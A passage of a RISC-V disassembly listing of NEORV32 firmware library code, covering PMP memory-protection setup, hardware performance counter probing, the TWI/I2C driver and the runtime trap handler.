22f4: d9dff0ef jal ra,2090 <__neorv32_cpu_pmp_cfg_read>
22f8: 01257533 and a0,a0,s2
22fc: 00148493 addi s1,s1,1
2300: 00a40433 add s0,s0,a0
2304: ff3496e3 bne s1,s3,22f0 <neorv32_cpu_pmp_get_num_regions+0x5c>
2308: 00845793 srli a5,s0,0x8
230c: 0ff47513 andi a0,s0,255
2310: 0ff7f793 andi a5,a5,255
2314: 00f507b3 add a5,a0,a5
2318: 01045513 srli a0,s0,0x10
231c: 0ff57513 andi a0,a0,255
2320: 01845413 srli s0,s0,0x18
2324: 00f50533 add a0,a0,a5
2328: 01c12083 lw ra,28(sp)
232c: 00a40533 add a0,s0,a0
2330: 01812403 lw s0,24(sp)
2334: 01412483 lw s1,20(sp)
2338: 01012903 lw s2,16(sp)
233c: 00c12983 lw s3,12(sp)
2340: 02010113 addi sp,sp,32
2344: 00008067 ret
2348: 00008067 ret
0000234c <neorv32_cpu_pmp_get_granularity>:
234c: 3a0027f3 csrr a5,pmpcfg0
2350: f007f793 andi a5,a5,-256
2354: 3a079073 csrw pmpcfg0,a5
2358: fff00793 li a5,-1
235c: 3b079073 csrw pmpaddr0,a5
2360: 3b002773 csrr a4,pmpaddr0
2364: 01f00513 li a0,31
2368: 00a757b3 srl a5,a4,a0
236c: 0017f793 andi a5,a5,1
2370: 00078663 beqz a5,237c <neorv32_cpu_pmp_get_granularity+0x30>
2374: fff50513 addi a0,a0,-1
2378: fe0518e3 bnez a0,2368 <neorv32_cpu_pmp_get_granularity+0x1c>
237c: 00100793 li a5,1
2380: 00350513 addi a0,a0,3
2384: 00a79533 sll a0,a5,a0
2388: 00008067 ret
0000238c <neorv32_cpu_pmp_configure_region>:
238c: 00700793 li a5,7
2390: 2ec7f863 bgeu a5,a2,2680 <neorv32_cpu_pmp_configure_region+0x2f4>
2394: fe010113 addi sp,sp,-32
2398: 00912a23 sw s1,20(sp)
239c: fff60493 addi s1,a2,-1
23a0: 00812c23 sw s0,24(sp)
23a4: 00112e23 sw ra,28(sp)
23a8: 01212823 sw s2,16(sp)
23ac: 01312623 sw s3,12(sp)
23b0: 01412423 sw s4,8(sp)
23b4: 01512223 sw s5,4(sp)
23b8: 00c4f633 and a2,s1,a2
23bc: 00050413 mv s0,a0
23c0: 00100513 li a0,1
23c4: 12061063 bnez a2,24e4 <neorv32_cpu_pmp_configure_region+0x158>
23c8: 00347a13 andi s4,s0,3
23cc: 003a1713 slli a4,s4,0x3
23d0: 00445993 srli s3,s0,0x4
23d4: 0ff00a13 li s4,255
23d8: 00ea1a33 sll s4,s4,a4
23dc: 00098513 mv a0,s3
23e0: 00058a93 mv s5,a1
23e4: 00e69933 sll s2,a3,a4
23e8: fffa4a13 not s4,s4
23ec: ca5ff0ef jal ra,2090 <__neorv32_cpu_pmp_cfg_read>
23f0: 00aa75b3 and a1,s4,a0
23f4: 00098513 mv a0,s3
23f8: d41ff0ef jal ra,2138 <__neorv32_cpu_pmp_cfg_write>
23fc: 0024d793 srli a5,s1,0x2
2400: fff7c793 not a5,a5
2404: 0157f7b3 and a5,a5,s5
2408: 0034d593 srli a1,s1,0x3
240c: 03f47513 andi a0,s0,63
2410: 00f5e5b3 or a1,a1,a5
2414: 03e00713 li a4,62
2418: fff50793 addi a5,a0,-1
241c: 00f76e63 bltu a4,a5,2438 <neorv32_cpu_pmp_configure_region+0xac>
2420: 00004737 lui a4,0x4
2424: 00279793 slli a5,a5,0x2
2428: 2d070713 addi a4,a4,720 # 42d0 <symbols.0+0x8c>
242c: 00e787b3 add a5,a5,a4
2430: 0007a783 lw a5,0(a5)
2434: 00078067 jr a5
2438: 3b059073 csrw pmpaddr0,a1
243c: 01000513 li a0,16
2440: 0800006f j 24c0 <neorv32_cpu_pmp_configure_region+0x134>
2444: 3b159073 csrw pmpaddr1,a1
2448: ff5ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
244c: 3b259073 csrw pmpaddr2,a1
2450: fedff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2454: 3b359073 csrw pmpaddr3,a1
2458: fe5ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
245c: 3b459073 csrw pmpaddr4,a1
2460: fddff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2464: 3b559073 csrw pmpaddr5,a1
2468: fd5ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
246c: 3b659073 csrw pmpaddr6,a1
2470: fcdff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2474: 3b759073 csrw pmpaddr7,a1
2478: fc5ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
247c: 3b859073 csrw pmpaddr8,a1
2480: fbdff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2484: 3b959073 csrw pmpaddr9,a1
2488: fb5ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
248c: 3ba59073 csrw pmpaddr10,a1
2490: fadff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2494: 3bb59073 csrw pmpaddr11,a1
2498: fa5ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
249c: 3bc59073 csrw pmpaddr12,a1
24a0: f9dff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
24a4: 3bd59073 csrw pmpaddr13,a1
24a8: f95ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
24ac: 3be59073 csrw pmpaddr14,a1
24b0: f8dff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
24b4: 3bf59073 csrw pmpaddr15,a1
24b8: f85ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
24bc: 3c059073 csrw 0x3c0,a1
24c0: 00000013 nop
24c4: fff50513 addi a0,a0,-1
24c8: fe051ce3 bnez a0,24c0 <neorv32_cpu_pmp_configure_region+0x134>
24cc: 00098513 mv a0,s3
24d0: bc1ff0ef jal ra,2090 <__neorv32_cpu_pmp_cfg_read>
24d4: 012565b3 or a1,a0,s2
24d8: 00098513 mv a0,s3
24dc: c5dff0ef jal ra,2138 <__neorv32_cpu_pmp_cfg_write>
24e0: 00000513 li a0,0
24e4: 01c12083 lw ra,28(sp)
24e8: 01812403 lw s0,24(sp)
24ec: 01412483 lw s1,20(sp)
24f0: 01012903 lw s2,16(sp)
24f4: 00c12983 lw s3,12(sp)
24f8: 00812a03 lw s4,8(sp)
24fc: 00412a83 lw s5,4(sp)
2500: 02010113 addi sp,sp,32
2504: 00008067 ret
2508: 3c159073 csrw 0x3c1,a1
250c: f31ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2510: 3c259073 csrw 0x3c2,a1
2514: f29ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2518: 3c359073 csrw 0x3c3,a1
251c: f21ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2520: 3c459073 csrw 0x3c4,a1
2524: f19ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2528: 3c559073 csrw 0x3c5,a1
252c: f11ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2530: 3c659073 csrw 0x3c6,a1
2534: f09ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2538: 3c759073 csrw 0x3c7,a1
253c: f01ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2540: 3c859073 csrw 0x3c8,a1
2544: ef9ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2548: 3c959073 csrw 0x3c9,a1
254c: ef1ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2550: 3ca59073 csrw 0x3ca,a1
2554: ee9ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2558: 3cb59073 csrw 0x3cb,a1
255c: ee1ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2560: 3cc59073 csrw 0x3cc,a1
2564: ed9ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2568: 3cd59073 csrw 0x3cd,a1
256c: ed1ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2570: 3ce59073 csrw 0x3ce,a1
2574: ec9ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2578: 3cf59073 csrw 0x3cf,a1
257c: ec1ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2580: 3d059073 csrw 0x3d0,a1
2584: eb9ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2588: 3d159073 csrw 0x3d1,a1
258c: eb1ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2590: 3d259073 csrw 0x3d2,a1
2594: ea9ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2598: 3d359073 csrw 0x3d3,a1
259c: ea1ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
25a0: 3d459073 csrw 0x3d4,a1
25a4: e99ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
25a8: 3d559073 csrw 0x3d5,a1
25ac: e91ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
25b0: 3d659073 csrw 0x3d6,a1
25b4: e89ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
25b8: 3d759073 csrw 0x3d7,a1
25bc: e81ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
25c0: 3d859073 csrw 0x3d8,a1
25c4: e79ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
25c8: 3d959073 csrw 0x3d9,a1
25cc: e71ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
25d0: 3da59073 csrw 0x3da,a1
25d4: e69ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
25d8: 3db59073 csrw 0x3db,a1
25dc: e61ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
25e0: 3dc59073 csrw 0x3dc,a1
25e4: e59ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
25e8: 3dd59073 csrw 0x3dd,a1
25ec: e51ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
25f0: 3de59073 csrw 0x3de,a1
25f4: e49ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
25f8: 3df59073 csrw 0x3df,a1
25fc: e41ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2600: 3e059073 csrw 0x3e0,a1
2604: e39ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2608: 3e159073 csrw 0x3e1,a1
260c: e31ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2610: 3e259073 csrw 0x3e2,a1
2614: e29ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2618: 3e359073 csrw 0x3e3,a1
261c: e21ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2620: 3e459073 csrw 0x3e4,a1
2624: e19ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2628: 3e559073 csrw 0x3e5,a1
262c: e11ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2630: 3e659073 csrw 0x3e6,a1
2634: e09ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2638: 3e759073 csrw 0x3e7,a1
263c: e01ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2640: 3e859073 csrw 0x3e8,a1
2644: df9ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2648: 3e959073 csrw 0x3e9,a1
264c: df1ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2650: 3ea59073 csrw 0x3ea,a1
2654: de9ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2658: 3eb59073 csrw 0x3eb,a1
265c: de1ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2660: 3ec59073 csrw 0x3ec,a1
2664: dd9ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2668: 3ed59073 csrw 0x3ed,a1
266c: dd1ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2670: 3ee59073 csrw 0x3ee,a1
2674: dc9ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2678: 3ef59073 csrw 0x3ef,a1
267c: dc1ff06f j 243c <neorv32_cpu_pmp_configure_region+0xb0>
2680: 00100513 li a0,1
2684: 00008067 ret
00002688 <neorv32_cpu_hpm_get_counters>:
2688: fe402503 lw a0,-28(zero) # ffffffe4 <__ctr0_io_space_begin+0x1e4>
268c: 20057513 andi a0,a0,512
2690: 14050a63 beqz a0,27e4 <neorv32_cpu_hpm_get_counters+0x15c>
2694: 320027f3 csrr a5,mcountinhibit
2698: ff87e793 ori a5,a5,-8
269c: 32079073 csrw mcountinhibit,a5
26a0: 00100793 li a5,1
26a4: b0379073 csrw mhpmcounter3,a5
26a8: b0479073 csrw mhpmcounter4,a5
26ac: b0579073 csrw mhpmcounter5,a5
26b0: b0679073 csrw mhpmcounter6,a5
26b4: b0779073 csrw mhpmcounter7,a5
26b8: b0879073 csrw mhpmcounter8,a5
26bc: b0979073 csrw mhpmcounter9,a5
26c0: b0a79073 csrw mhpmcounter10,a5
26c4: b0b79073 csrw mhpmcounter11,a5
26c8: b0c79073 csrw mhpmcounter12,a5
26cc: b0d79073 csrw mhpmcounter13,a5
26d0: b0e79073 csrw mhpmcounter14,a5
26d4: b0f79073 csrw mhpmcounter15,a5
26d8: b1079073 csrw mhpmcounter16,a5
26dc: b1179073 csrw mhpmcounter17,a5
26e0: b1279073 csrw mhpmcounter18,a5
26e4: b1379073 csrw mhpmcounter19,a5
26e8: b1479073 csrw mhpmcounter20,a5
26ec: b1579073 csrw mhpmcounter21,a5
26f0: b1679073 csrw mhpmcounter22,a5
26f4: b1779073 csrw mhpmcounter23,a5
26f8: b1879073 csrw mhpmcounter24,a5
26fc: b1979073 csrw mhpmcounter25,a5
2700: b1a79073 csrw mhpmcounter26,a5
2704: b1b79073 csrw mhpmcounter27,a5
2708: b1c79073 csrw mhpmcounter28,a5
270c: b1d79073 csrw mhpmcounter29,a5
2710: b03027f3 csrr a5,mhpmcounter3
2714: b0402573 csrr a0,mhpmcounter4
2718: 00f50533 add a0,a0,a5
271c: b05027f3 csrr a5,mhpmcounter5
2720: 00f50533 add a0,a0,a5
2724: b06027f3 csrr a5,mhpmcounter6
2728: 00f50533 add a0,a0,a5
272c: b07027f3 csrr a5,mhpmcounter7
2730: 00f50533 add a0,a0,a5
2734: b08027f3 csrr a5,mhpmcounter8
2738: 00f50533 add a0,a0,a5
273c: b09027f3 csrr a5,mhpmcounter9
2740: 00f50533 add a0,a0,a5
2744: b0a027f3 csrr a5,mhpmcounter10
2748: 00f50533 add a0,a0,a5
274c: b0b027f3 csrr a5,mhpmcounter11
2750: 00f50533 add a0,a0,a5
2754: b0c027f3 csrr a5,mhpmcounter12
2758: 00f50533 add a0,a0,a5
275c: b0d027f3 csrr a5,mhpmcounter13
2760: 00f50533 add a0,a0,a5
2764: b0e027f3 csrr a5,mhpmcounter14
2768: 00f50533 add a0,a0,a5
276c: b0f027f3 csrr a5,mhpmcounter15
2770: 00f50533 add a0,a0,a5
2774: b10027f3 csrr a5,mhpmcounter16
2778: 00f50533 add a0,a0,a5
277c: b11027f3 csrr a5,mhpmcounter17
2780: 00f50533 add a0,a0,a5
2784: b12027f3 csrr a5,mhpmcounter18
2788: 00f50533 add a0,a0,a5
278c: b13027f3 csrr a5,mhpmcounter19
2790: 00f50533 add a0,a0,a5
2794: b14027f3 csrr a5,mhpmcounter20
2798: 00f50533 add a0,a0,a5
279c: b15027f3 csrr a5,mhpmcounter21
27a0: 00f50533 add a0,a0,a5
27a4: b16027f3 csrr a5,mhpmcounter22
27a8: 00f50533 add a0,a0,a5
27ac: b17027f3 csrr a5,mhpmcounter23
27b0: 00f50533 add a0,a0,a5
27b4: b18027f3 csrr a5,mhpmcounter24
27b8: 00f50533 add a0,a0,a5
27bc: b19027f3 csrr a5,mhpmcounter25
27c0: 00f50533 add a0,a0,a5
27c4: b1a027f3 csrr a5,mhpmcounter26
27c8: 00f50533 add a0,a0,a5
27cc: b1b027f3 csrr a5,mhpmcounter27
27d0: 00f50533 add a0,a0,a5
27d4: b1c027f3 csrr a5,mhpmcounter28
27d8: 00f50533 add a0,a0,a5
27dc: b1d027f3 csrr a5,mhpmcounter29
27e0: 00f50533 add a0,a0,a5
27e4: 00008067 ret
000027e8 <neorv32_twi_available>:
27e8: fe802503 lw a0,-24(zero) # ffffffe8 <__ctr0_io_space_begin+0x1e8>
27ec: 01455513 srli a0,a0,0x14
27f0: 00157513 andi a0,a0,1
27f4: 00008067 ret
000027f8 <neorv32_twi_setup>:
27f8: 00757513 andi a0,a0,7
27fc: 0015f593 andi a1,a1,1
2800: 00351513 slli a0,a0,0x3
2804: 00759593 slli a1,a1,0x7
2808: fb000793 li a5,-80
280c: 00b56533 or a0,a0,a1
2810: 0007a023 sw zero,0(a5)
2814: 00156513 ori a0,a0,1
2818: 00a7a023 sw a0,0(a5)
281c: 00008067 ret
00002820 <neorv32_twi_disable>:
2820: fb000713 li a4,-80
2824: 00072783 lw a5,0(a4)
2828: ffe7f793 andi a5,a5,-2
282c: 00f72023 sw a5,0(a4)
2830: 00008067 ret
00002834 <neorv32_twi_trans>:
2834: faa02a23 sw a0,-76(zero) # ffffffb4 <__ctr0_io_space_begin+0x1b4>
2838: fb002783 lw a5,-80(zero) # ffffffb0 <__ctr0_io_space_begin+0x1b0>
283c: fe07cee3 bltz a5,2838 <neorv32_twi_trans+0x4>
2840: fb002503 lw a0,-80(zero) # ffffffb0 <__ctr0_io_space_begin+0x1b0>
2844: 01e55513 srli a0,a0,0x1e
2848: 00154513 xori a0,a0,1
284c: 00157513 andi a0,a0,1
2850: 00008067 ret
00002854 <neorv32_twi_generate_stop>:
2854: fb002783 lw a5,-80(zero) # ffffffb0 <__ctr0_io_space_begin+0x1b0>
2858: 0047e793 ori a5,a5,4
285c: faf02823 sw a5,-80(zero) # ffffffb0 <__ctr0_io_space_begin+0x1b0>
2860: fb002783 lw a5,-80(zero) # ffffffb0 <__ctr0_io_space_begin+0x1b0>
2864: fe07cee3 bltz a5,2860 <neorv32_twi_generate_stop+0xc>
2868: 00008067 ret
0000286c <neorv32_twi_generate_start>:
286c: fb002783 lw a5,-80(zero) # ffffffb0 <__ctr0_io_space_begin+0x1b0>
2870: 0027e793 ori a5,a5,2
2874: faf02823 sw a5,-80(zero) # ffffffb0 <__ctr0_io_space_begin+0x1b0>
2878: fb002783 lw a5,-80(zero) # ffffffb0 <__ctr0_io_space_begin+0x1b0>
287c: fe07cee3 bltz a5,2878 <neorv32_twi_generate_start+0xc>
2880: 00008067 ret
2884: 0000 unimp
2886: 0000 unimp
2888: 0000 unimp
288a: 0000 unimp
288c: 0000 unimp
288e: 0000 unimp
00002890 <__neorv32_rte_core>:
2890: fc010113 addi sp,sp,-64
2894: 02112e23 sw ra,60(sp)
2898: 02512c23 sw t0,56(sp)
289c: 02612a23 sw t1,52(sp)
28a0: 02712823 sw t2,48(sp)
28a4: 02a12623 sw a0,44(sp)
28a8: 02b12423 sw a1,40(sp)
28ac: 02c12223 sw a2,36(sp)
28b0: 02d12023 sw a3,32(sp)
28b4: 00e12e23 sw a4,28(sp)
28b8: 00f12c23 sw a5,24(sp)
28bc: 01012a23 sw a6,20(sp)
28c0: 01112823 sw a7,16(sp)
28c4: 01c12623 sw t3,12(sp)
28c8: 01d12423 sw t4,8(sp)
28cc: 01e12223 sw t5,4(sp)
28d0: 01f12023 sw t6,0(sp)
28d4: 34102773 csrr a4,mepc
28d8: 34071073 csrw mscratch,a4
28dc: 342027f3 csrr a5,mcause
28e0: 0807ca63 bltz a5,2974 <__neorv32_rte_core+0xe4>
28e4: 00071683 lh a3,0(a4)
28e8: 00300593 li a1,3
28ec: 0036f693 andi a3,a3,3
28f0: 00270613 addi a2,a4,2
28f4: 00b69463 bne a3,a1,28fc <__neorv32_rte_core+0x6c>
28f8: 00470613 addi a2,a4,4
28fc: 34161073 csrw mepc,a2
2900: 00b00713 li a4,11
2904: 04f77c63 bgeu a4,a5,295c <__neorv32_rte_core+0xcc>
2908: 000037b7 lui a5,0x3
290c: b5878793 addi a5,a5,-1192 # 2b58 <__neorv32_rte_debug_exc_handler>
2910: 000780e7 jalr a5
2914: 03c12083 lw ra,60(sp)
2918: 03812283 lw t0,56(sp)
291c: 03412303 lw t1,52(sp)
2920: 03012383 lw t2,48(sp)
2924: 02c12503 lw a0,44(sp)
2928: 02812583 lw a1,40(sp)
292c: 02412603 lw a2,36(sp)
2930: 02012683 lw a3,32(sp)
2934: 01c12703 lw a4,28(sp)
2938: 01812783 lw a5,24(sp)
293c: 01412803 lw a6,20(sp)
2940: 01012883 lw a7,16(sp)
2944: 00c12e03 lw t3,12(sp)
2948: 00812e83 lw t4,8(sp)
294c: 00412f03 lw t5,4(sp)
2950: 00012f83 lw t6,0(sp)
2954: 04010113 addi sp,sp,64
2958: 30200073 mret
295c: 00004737 lui a4,0x4
2960: 00279793 slli a5,a5,0x2
2964: 3cc70713 addi a4,a4,972 # 43cc <symbols.0+0x188>
2968: 00e787b3 add a5,a5,a4
296c: 0007a783 lw a5,0(a5)
2970: 00078067 jr a5
2974: 80000737 lui a4,0x80000
2978: ffd74713 xori a4,a4,-3
297c: 00e787b3 add a5,a5,a4
2980: 01c00713 li a4,28
2984: f8f762e3 bltu a4,a5,2908 <__neorv32_rte_core+0x78>
2988: 00004737 lui a4,0x4
298c: 00279793 slli a5,a5,0x2
2990: 3fc70713 addi a4,a4,1020 # 43fc <symbols.0+0x1b8>
2994: 00e787b3 add a5,a5,a4
2998: 0007a783 lw a5,0(a5)
299c: 00078067 jr a5
29a0: 89c1a783 lw a5,-1892(gp) # 8000009c <__neorv32_rte_vector_lut>
29a4: f6dff06f j 2910 <__neorv32_rte_core+0x80>
29a8: 8a01a783 lw a5,-1888(gp) # 800000a0 <__neorv32_rte_vector_lut+0x4>
29ac: f65ff06f j 2910 <__neorv32_rte_core+0x80>
29b0: 8a41a783 lw a5,-1884(gp) # 800000a4 <__neorv32_rte_vector_lut+0x8>
29b4: f5dff06f j 2910 <__neorv32_rte_core+0x80>
29b8: 8a81a783 lw a5,-1880(gp) # 800000a8 <__neorv32_rte_vector_lut+0xc>
29bc: f55ff06f j 2910 <__neorv32_rte_core+0x80>
29c0: 8ac1a783 lw a5,-1876(gp) # 800000ac <__neorv32_rte_vector_lut+0x10>
29c4: f4dff06f j 2910 <__neorv32_rte_core+0x80>
29c8: 8b01a783 lw a5,-1872(gp) # 800000b0 <__neorv32_rte_vector_lut+0x14>
29cc: f45ff06f j 2910 <__neorv32_rte_core+0x80>
29d0: 8b41a783 lw a5,-1868(gp) # 800000b4 <__neorv32_rte_vector_lut+0x18>
29d4: f3dff06f j 2910 <__neorv32_rte_core+0x80>
29d8: 8b81a783 lw a5,-1864(gp) # 800000b8 <__neorv32_rte_vector_lut+0x1c>
29dc: f35ff06f j 2910 <__neorv32_rte_core+0x80>
29e0: 8bc1a783 lw a5,-1860(gp) # 800000bc <__neorv32_rte_vector_lut+0x20>
29e4: f2dff06f j 2910 <__neorv32_rte_core+0x80>
29e8: 8c01a783 lw a5,-1856(gp) # 800000c0 <__neorv32_rte_vector_lut+0x24>
29ec: f25ff06f j 2910 <__neorv32_rte_core+0x80>
29f0: 8c41a783 lw a5,-1852(gp) # 800000c4 <__neorv32_rte_vector_lut+0x28>
29f4: f1dff06f j 2910 <__neorv32_rte_core+0x80>
29f8: 8c81a783 lw a5,-1848(gp) # 800000c8 <__neorv32_rte_vector_lut+0x2c>
29fc: f15ff06f j 2910 <__neorv32_rte_core+0x80>
2a00: 8cc1a783 lw a5,-1844(gp) # 800000cc <__neorv32_rte_vector_lut+0x30>
2a04: f0dff06f j 2910 <__neorv32_rte_core+0x80>
2a08: 8d01a783 lw a5,-1840(gp) # 800000d0 <__neorv32_rte_vector_lut+0x34>
2a0c: f05ff06f j 2910 <__neorv32_rte_core+0x80>
2a10: 8d41a783 lw a5,-1836(gp) # 800000d4 <__neorv32_rte_vector_lut+0x38>
2a14: efdff06f j 2910 <__neorv32_rte_core+0x80>
2a18: 8d81a783 lw a5,-1832(gp) # 800000d8 <__neorv32_rte_vector_lut+0x3c>
2a1c: ef5ff06f j 2910 <__neorv32_rte_core+0x80>
2a20: 8dc1a783 lw a5,-1828(gp) # 800000dc <__neorv32_rte_vector_lut+0x40>
2a24: eedff06f j 2910 <__neorv32_rte_core+0x80>
2a28: 8e01a783 lw a5,-1824(gp) # 800000e0 <__neorv32_rte_vector_lut+0x44>
2a2c: ee5ff06f j 2910 <__neorv32_rte_core+0x80>
2a30: 8e41a783 lw a5,-1820(gp) # 800000e4 <__neorv32_rte_vector_lut+0x48>
2a34: eddff06f j 2910 <__neorv32_rte_core+0x80>
2a38: 8e81a783 lw a5,-1816(gp) # 800000e8 <__neorv32_rte_vector_lut+0x4c>
2a3c: ed5ff06f j 2910 <__neorv32_rte_core+0x80>
2a40: 8ec1a783 lw a5,-1812(gp) # 800000ec <__neorv32_rte_vector_lut+0x50>
2a44: ecdff06f j 2910 <__neorv32_rte_core+0x80>
2a48: 8f01a783 lw a5,-1808(gp) # 800000f0 <__neorv32_rte_vector_lut+0x54>
2a4c: ec5ff06f j 2910 <__neorv32_rte_core+0x80>
2a50: 8f41a783 lw a5,-1804(gp) # 800000f4 <__neorv32_rte_vector_lut+0x58>
2a54: ebdff06f j 2910 <__neorv32_rte_core+0x80>
2a58: 8f81a783 lw a5,-1800(gp) # 800000f8 <__neorv32_rte_vector_lut+0x5c>
2a5c: eb5ff06f j 2910 <__neorv32_rte_core+0x80>
2a60: 8fc1a783 lw a5,-1796(gp) # 800000fc <__neorv32_rte_vector_lut+0x60>
2a64: eadff06f j 2910 <__neorv32_rte_core+0x80>
2a68: 9001a783 lw a5,-1792(gp) # 80000100 <__neorv32_rte_vector_lut+0x64>
2a6c: ea5ff06f j 2910 <__neorv32_rte_core+0x80>
2a70: 9041a783 lw a5,-1788(gp) # 80000104 <__neorv32_rte_vector_lut+0x68>
2a74: e9dff06f j 2910 <__neorv32_rte_core+0x80>
2a78: 9081a783 lw a5,-1784(gp) # 80000108 <__neorv32_rte_vector_lut+0x6c>
2a7c: e95ff06f j 2910 <__neorv32_rte_core+0x80>
2a80: 90c1a783 lw a5,-1780(gp) # 8000010c <__neorv32_rte_vector_lut+0x70>
2a84: e8dff06f j 2910 <__neorv32_rte_core+0x80>
2a88: 0000 unimp
2a8a: 0000 unimp
2a8c: 0000 unimp
2a8e: 0000 unimp
00002a90 <__neorv32_rte_print_true_false>:
2a90: 00050863 beqz a0,2aa0 <__neorv32_rte_print_true_false+0x10>
2a94: 00004537 lui a0,0x4
2a98: 47050513 addi a0,a0,1136 # 4470 <symbols.0+0x22c>
2a9c: bc0ff06f j 1e5c <neorv32_uart0_print>
2aa0: 00004537 lui a0,0x4
2aa4: 47850513 addi a0,a0,1144 # 4478 <symbols.0+0x234>
2aa8: ff5ff06f j 2a9c <__neorv32_rte_print_true_false+0xc>
00002aac <__neorv32_rte_print_hex_word>:
2aac: fe010113 addi sp,sp,-32
2ab0: 01212823 sw s2,16(sp)
2ab4: 00050913 mv s2,a0
2ab8: 00004537 lui a0,0x4
2abc: 00912a23 sw s1,20(sp)
2ac0: 47c50513 addi a0,a0,1148 # 447c <symbols.0+0x238>
2ac4: 000054b7 lui s1,0x5
2ac8: 00812c23 sw s0,24(sp)
2acc: 01312623 sw s3,12(sp)
2ad0: 00112e23 sw ra,28(sp)
2ad4: 01c00413 li s0,28
2ad8: b84ff0ef jal ra,1e5c <neorv32_uart0_print>
2adc: c4c48493 addi s1,s1,-948 # 4c4c <hex_symbols.0>
2ae0: ffc00993 li s3,-4
2ae4: 008957b3 srl a5,s2,s0
2ae8: 00f7f793 andi a5,a5,15
2aec: 00f487b3 add a5,s1,a5
2af0: 0007c503 lbu a0,0(a5)
2af4: ffc40413 addi s0,s0,-4
2af8: b30ff0ef jal ra,1e28 <neorv32_uart0_putc>
2afc: ff3414e3 bne s0,s3,2ae4 <__neorv32_rte_print_hex_word+0x38>
2b00: 01c12083 lw ra,28(sp)
2b04: 01812403 lw s0,24(sp)
2b08: 01412483 lw s1,20(sp)
2b0c: 01012903 lw s2,16(sp)
2b10: 00c12983 lw s3,12(sp)
2b14: 02010113 addi sp,sp,32
2b18: 00008067 ret
00002b1c <__neorv32_rte_print_checkbox>:
2b1c: ff010113 addi sp,sp,-16
2b20: 00812423 sw s0,8(sp)
2b24: 00050413 mv s0,a0
2b28: 05b00513 li a0,91
2b2c: 00112623 sw ra,12(sp)
2b30: af8ff0ef jal ra,1e28 <neorv32_uart0_putc>
2b34: 07800513 li a0,120
2b38: 00041463 bnez s0,2b40 <__neorv32_rte_print_checkbox+0x24>
2b3c: 02000513 li a0,32
2b40: ae8ff0ef jal ra,1e28 <neorv32_uart0_putc>
2b44: 00812403 lw s0,8(sp)
2b48: 00c12083 lw ra,12(sp)
2b4c: 05d00513 li a0,93
2b50: 01010113 addi sp,sp,16
2b54: ad4ff06f j 1e28 <neorv32_uart0_putc>
00002b58 <__neorv32_rte_debug_exc_handler>:
2b58: ff010113 addi sp,sp,-16
2b5c: 00112623 sw ra,12(sp)
2b60: 00812423 sw s0,8(sp)
2b64: 00912223 sw s1,4(sp)
2b68: a04ff0ef jal ra,1d6c <neorv32_uart0_available>
2b6c: 1c050863 beqz a0,2d3c <__neorv32_rte_debug_exc_handler+0x1e4>
2b70: 00004537 lui a0,0x4
2b74: 48050513 addi a0,a0,1152 # 4480 <symbols.0+0x23c>
2b78: ae4ff0ef jal ra,1e5c <neorv32_uart0_print>
2b7c: 34202473 csrr s0,mcause
2b80: 00900713 li a4,9
2b84: 00f47793 andi a5,s0,15
2b88: 03078493 addi s1,a5,48
